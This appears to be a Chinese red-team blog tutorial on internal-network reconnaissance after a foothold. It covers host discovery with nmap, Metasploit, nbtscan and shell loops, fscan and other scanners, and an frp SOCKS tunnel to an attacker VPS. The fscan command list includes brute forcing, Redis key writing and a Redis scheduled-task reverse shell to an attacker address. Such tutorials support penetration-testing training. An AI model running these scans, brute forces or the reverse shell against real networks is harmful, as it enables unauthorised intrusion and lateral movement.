前言

当我们能访问到⽬标内⽹任何资源之后,我们就可以对 ⽬标内⽹进⾏更深层次的信息搜集⽐如:主机收集、IP 段搜集、端⼝开放服务、Web 资产数量、漏洞类型。接下来是一些工具的食用姿势,仅供参考。

假设我们已经获取到 web-2012 的权限,接下来如何对内⽹进⾏信息搜集,内⽹扫描。

信息收集

主机存活探测

基于netbios的内网存活主机发现

netbios简介

IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以
使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为
了给局域网提供网络以及其他特殊功能。
系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于
NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使
用NetBIOS协议可以方便地实现消息通信及资源的共享。

nmap

sudo nmap -sU --script nbstat.nse -p137 192.168.10.1/24 -T4

注:nmap连自己都会扫,及时没有netbios也会提示主机存活。比如kali linux本身。

MSF——auxiliary/scanner/netbios/nbname

效果没那么好。

nbtscan

Nbtscan 是⼀款能迅速查找电脑IP地址以及MAC地址的软件,不过只能⽤于局域⽹,显示IP、主机名、⽤户名称以 及MAC地址。

nbtscan -v -s : 192.168.43.0/24                    # windows和linux通用

通过 nbtscan 在内⽹渗透中所使⽤的场景⽬的就是为了帮助我们快速识别那些机器是域机器,那些机器是 DC,那 些机器是⼯作组机器。

kali下的nbtscan:

windows下的nbtscan.exe:(会剔除本机所在的机器)

基于SMB协议的内网存活主机发现

简介

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。

nmap

nmap -sS --script smb-enum-shares.nse -p 445 192.168.43.1/24

MSF——auxiliary/scanner/smb/smb_version

msf6 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.43.1/24
rhosts => 192.168.43.1/24
msf6 auxiliary(scanner/smb/smb_version) > set threads 10
threads => 10
msf6 auxiliary(scanner/smb/smb_version) > exploit

基于CMD

需要开启telnet窗口

for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445

基于powershell

# 单IP,OK
445 | %{ echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.83",$_)) "$_ is open"} 2>$null

# 多IP
80..85 | % { $a = $_; 445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.$a",$_)) "Port $_ is open"} 2>$null}
Port 445 is open

#多IP,多port
80..85 | % { $a = $_; write-host "- - - - -"; write-host "192.168.43.$a"; 137,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.$a",$_)) "Port $_ is open"} 2>$null}

- - - - -
192.168.43.80
- - - - -
192.168.43.81
- - - - -
192.168.43.82
- - - - -
192.168.43.83
Port 445 is open
- - - - -
192.168.43.84
- - - - -
192.168.43.85

基于ARP协议的内网存活主机发现

概念

ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输 协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的 ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址。

nmap

nmap -sn -PR 192.168.10.1/24
-sn                    # 不扫描端口,只扫描主机
-PR                    # ARP ping扫描

MSF——auxiliary/scanner/discovery/arp_sweep

基于SNMP协议的内网存活主机发现

简介

SNMP是一种简单网络管理协议,它属于TCP/IP五层协议中的应用层协议,用于网络管理的
协议。SNMP主要用于网络设备的管理。SNMP协议主要由两大部分构成:SNMP管理站和
SNMP代理。SNMP管理站是一个中心节点,负责收集维护各个SNMP元素的信息,并对这
些信息进行处理,最后反馈给网络管理员;而SNMP代理是运行在各个被管理的网络节点之
上,负责统计该节点的各项信息,并且负责与SNMP管理站交互,接收并执行管理站的命
令,上传各种本地的网络信息。

nmap

nmap -sU -T4 --script snmp-brute 192.168.10.0/24

MSF——auxiliary/scanner/snmp/snmp_enum

msf6 auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.43.1/24
rhosts => 192.168.43.1/24
msf6 auxiliary(scanner/snmp/snmp_enum) > set threads 10
threads => 10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit

基于ICMP协议的内网存活主机发现

简介

ICMP是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指 网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输 用户数据,但是对于用户数据的传递起着重要的作用。

nmap

nmap -PE -sn -T4 192.168.43.1/24

cmd

# 打印在屏幕当中
for /L %P in (1,1,254) DO @ping -w 1 -n 1 192.168.43.%P | findstr "TTL="
来自 192.168.43.18 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.43.83 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.43.106 的回复: 字节=32 时间<1ms TTL=128

# 输入到文件当中(windows)
for /l %p in (1,1,254) do @ping -l 1 -n 3 -w 40 192.168.1.%p & if errorlevel 1 (echo 192.168.1.%p>>na.txt) else (echo 192.168.1.%p>>ok.txt)

# 输入到文件当中(linux),未成功
for i in {1..254}; do ping -q -i 0.01 -c 3 192.168.1.$i &> /dev/null && echo 192.168.1.$i is alive; done

资产存活探测

PTscan

PTscan(Phantom scanner) 是一款界面友好的轻量级web应用资产扫描器,适合于内网渗透测试环境下web的资产快捷识别,只需Python环境,无需第三方扩展库,扫描结果使用zoomeye网页样式。

下载地址:https://github.com/phantom0301/PTscan

使用python2的pyinstaller库打包成exe

pyinstaller -F -w ptscan.py

具体使用语法:

Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
-f          指定扫描⽬标⽂件,⽂件格式如list.txt所示,同时⽀持IP和URL
-h  指定扫描IP或IP段,⽀持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p  指定扫描端⼝,缺省使⽤程序中的配置端⼝
-m  指定线程数
-t  指定timeout
-n          不进行ping操作,直接扫描
-b          开启Banner识别
-r  reverseIP

扫描示例:

python2 PTscan.py -h 10.10.10 -p 80,8080,8888 -m 50 -t 10 -n -b

当ptscan扫描完成后会在当前路径下生成一个html文件。使用浏览器打开,即可看到扫描出来的web资产:banner、中间件、url、开放端口。

漏洞扫描

 Inscan

边界打点后的⾃动化内⽹⼯具,完全与服务端脱离。服务端只⽤于⽣成poc,⽹段信息等配置。

•多平台,单一的二进制文件,免依赖;

•支持自动可视化多级隧道,通过后台按钮开关即可穿越多层网络;

•支持ipv6的扫描器;

•快速直观查看多网卡机器,方便快速定位能穿多层网络机器;

•通过已知密码生成社工字典,快速横向内网;

•内网B/S架构系统自动化爆破,验证码自动识别;

•快速资产识别,站点截图;

•通过扫描到的资产自动化进行网站目录扫描;

官⽹地址:https://www.inbug.org/

然后注册一个用户生成一个Inscan Agent:

下载后在目标终端运行即可(尽量使用管理员权限,否则有的时候会卡住)

扫描完成后会在当前路径下⽣产⼀个 poc.db ⽂件:

把 poc.db 拖回本地也⾏,或者再次运⾏ again ,访问⽬标 ip:54088 即可看到扫描结果:

fscan

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能,在不指定特定模块的前提下,默认启用所有模块。

下载地址:https://github.com/shadow1ng/fscan

常用命令:

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)

•特殊手法:
针对B段渗透时,建议使用单模块测试,使用全模块时速度会比较慢,应该是1.6.3版本的bug,新版本未做测试,不清楚具体情况。除此之外,1.6.3模块在探测ftp的时候错误会一直卡顿,而不是跳过。

•扫描手法:fscan.exe -h 175.34.1.1/16 -m

•推荐模块(基于1.7.0):

# 数据库爆破
mgo          # mongodb数据库
redis          # redis数据库
psql          # postgresql数据库
mssql          # SQL Server数据库
mysql          # mysql数据库
mem                    # mem代表Memcached,是一个内存对象缓存服务,跟Redis很相像。
注:oracle虽然在更新记录中指出支持,但是在打包后,还是无法指定该模块,查看时也无法看到。

# 服务爆破
smb # 采用SMB协议的文件共享服务
rdp          # windows的远程桌面服务
ftp                    # 文件传输服务
ssh                    # linux下的远程登录协议

# 漏洞扫描
ms17010          通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,利用SMB协议,也称作永恒之蓝
cve20200796          SMB 3.1.1协议远程代码执行漏洞,也称作永恒之黑
fcgi          快速通用网关接口,fastcgi,远程代码执行等漏洞
web                    收集资产并且进行漏洞扫描

# 查看所有可用模块
fscan.exe -m -h

使用案例:

C:\Windows\Temp>fscan.exe -h 10.10.10.0/24 -o 10.txt
   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.7.0
scan start
(icmp) Target '10.10.10.3' is alive
(icmp) Target '10.10.10.12' is alive
(icmp) Target '10.10.10.10' is alive
(icmp) Target '10.10.10.11' is alive
(icmp) Target '10.10.10.20' is alive
icmp alive hosts len is: 5
10.10.10.10:445 open
10.10.10.10:135 open
10.10.10.3:445 open
10.10.10.3:135 open
10.10.10.12:445 open
10.10.10.12:135 open
10.10.10.12:80 open
10.10.10.20:445 open
10.10.10.20:135 open
10.10.10.11:445 open
10.10.10.11:135 open
10.10.10.20:88 open
10.10.10.10:88 open
10.10.10.11:88 open
NetInfo:
[*]10.10.10.12
[->]web-2012
[->]192.168.1.109
[->]10.10.10.12
NetInfo:
[*]10.10.10.10
[->]AD-2016
[->]10.10.10.10
NetInfo:
[*]10.10.10.3
[->]web-2003
[->]10.10.10.3
WebTitle:http://10.10.10.12 200 IIS Windows Server
[+] 10.10.10.20 MS17-010 (Windows Server 2016 Standard 14393)
NetInfo:
[*]10.10.10.11
[->]AD2-2016
[->]10.10.10.11
[+] 10.10.10.3 MS17-010 (Windows Server 2003 3790 Service Pack 2)
[+] 10.10.10.11 MS17-010 (Windows Server 2016 Standard 14393)
[+] 10.10.10.10 MS17-010 (Windows Server 2016 Standard 14393)
scan end
C:\Windows\Temp>

goby

Goby号称新一代的网络安全测试工具,有IP存活探测、端口扫描、资产探测、主机识别等功能,内置代理功能。代理方式有socket和pcap两种,socket支持socks和HTTP两种,均支持身份验证。

红队人员VPS(192.168.10.110)配置frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

然后启动frp服务端:

./frps -c frps.ini

在目标网络边界weblogic配置frpc.ini

[common]
server_addr = 192.168.10.110(红队人员VPS)
server_port = 7000

[plugin_socks]
type = tcp
remote_port =7777
plugin = socks5

然后启动客户端

./frpc.exe -c frpc.ini

在goby中设置socks代理:

然后新建任务,配置参数进行漏洞扫描:

goby在渗透测试当中探测C段还OK,如果是B段的话,设置特殊端口,然后再扫描。大批量扫的话,就要看Inscan和fscan了。

结尾

在内⽹渗透中,⼀些内⽹扫描⼯具能够帮助我们红队⼈员减去很多时间,不⽤⼿动去信息搜集、不⽤⼿动去漏洞探测,因此掌握⼀个漏洞扫描器或者多个扫描器的使⽤⽅法是我们红队⼈员最基本的要求。

除了以上的metasploit、Nmap...等等一些优秀的工具等着大家去发掘和使用。

内网渗透-内网信息搜集相关推荐

  1. 内网渗透系列:信息搜集方法小结2

    目录 前言 一.开源情报(OSINT) 1.whois/反查/相关资产 2.github敏感信息 (1)github邮箱密码爬取 (2)GSIL (3)x-patrol 3.google hackin ...

  2. 内网渗透学习-Windows信息收集

    内网渗透学习-Windows信息收集 本章内容主要介绍在获取网站服务器webshell后,怎样对Windows主机进行信息收集,对其网络环境进行分析和利用,主要是一个思路整理,在后续的章节中会整理更详 ...

  3. 内网渗透-内网信息收集

    内网信息收集 文章目录 内网信息收集 前言 msf模块中的信息收集 msf反弹shell后的信息收集 内网信息收集 后记 前言 当我们进行外网信息收集,漏洞探测以及漏洞利用后,获得了主机的权限后,我们 ...

  4. 2022-10-15(Linux应急响应、配置漏洞之DNS域传送、内网渗透之内网主机发现技巧)

    http://noahblog.360.cn/advanced-windows-taskscheduler-playbook/@[toc] [重要]拜读的文章链接都在标题上. 一.linux应急响应 ...

  5. DaZeng:3分钟搞定内网渗透之外网访问指定域名

    内网渗透之外网访问指定域名 作用:在本地配置好之后,启动http-server服务,所有人可外网都可访问指定域名即可. 具体配置 使用钉钉内网穿透 在自己电脑上指定目录下 clone git仓库执行命 ...

  6. 内网渗透之内网信息收集(综合)

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...

  7. 内网渗透之内网主机信息收集

    目录 Windows信息收集 Windows账号密码 明文抓取 Mimikatz 离线读取Hash和密码明文 MSF加载bin抓取密码(VT查杀率2/59) LaZagne RDP登录凭据 mimik ...

  8. 内网渗透-内网代理穿透和内网横向移动

    内网代理穿透和内网横向移动 文章目录 内网代理穿透和内网横向移动 前言 内网代理穿透 nc termite(ew) ssh正向代理(A,B,C) msf设置路由和sock4代理访问内网流量 内网横向移 ...

  9. 内网渗透-内网环境下的横向移动总结

    内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结 前言 横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全 横向移动威胁的特点 利用psexec 利用psexec.exe工具 msf中 ...

最新文章

  1. P1219 八皇后 含优化 1/5
  2. Linux 查看电脑基本配置
  3. 关于javascript对象的prototype与constructor
  4. 计算机二级mysql是什么_计算机二级mysql考什么内容?
  5. 我画了35张图,就是为了让你深入 AQS!
  6. 快速学会php视频,PHP视频从入门到精通---适合PHP初学者
  7. [抄]外部奖励对内在动机的侵蚀
  8. ModelSim使用$display查看变量值和输出信息
  9. python中引入包的时候报错AttributeError: module ‘sys‘ has no attribute ‘setdefaultencoding‘解决方法?
  10. C/C++ 创建两个链表,实现两个链表低位到高位相加,并输出链表
  11. 在 Mac 上的“访达”中排序和排列项目
  12. python实现水仙花数
  13. 谈谈工业通信协议的采集和转换-如modbus opc profinet ethernetIP 61850等
  14. ubuntu18安装vcs2016和verdi2016
  15. python打开pcap文件_python 抓包保存为pcap文件并解析的实例
  16. 环境工程学(整理知识点)
  17. 跨平台应用开发进阶(四) :uni-app 实现上传图片
  18. build.gradle Failed to resolve:me.relex:circleindicator:1.1.5
  19. 朋友圈广告投放优势及广告投放案例分享
  20. 有了这几招,再也不怕背不过课本了!

热门文章

  1. 【观察】从计算力到智算力的跃迁,如何筑牢数实相融的智算底座?
  2. DIB位图alpha通道问题
  3. mysql cte 表不存在_MySQL8.0新特性CTE(Common Table Expression)
  4. Anaconda3安装pytorch未添加环境变量如何运行xxx.sh脚本
  5. linux常用基础命令——文件处理命令
  6. 多媒体计算机采用的数字化,数字化学习中运用多媒体(下)
  7. 股票多因子模型之截面回归
  8. 微信直播如何提升热度?
  9. java swt 计算器_JAVA开发简易计算器界面-SWT
  10. 期权中的两个概念:认沽期权和期权激励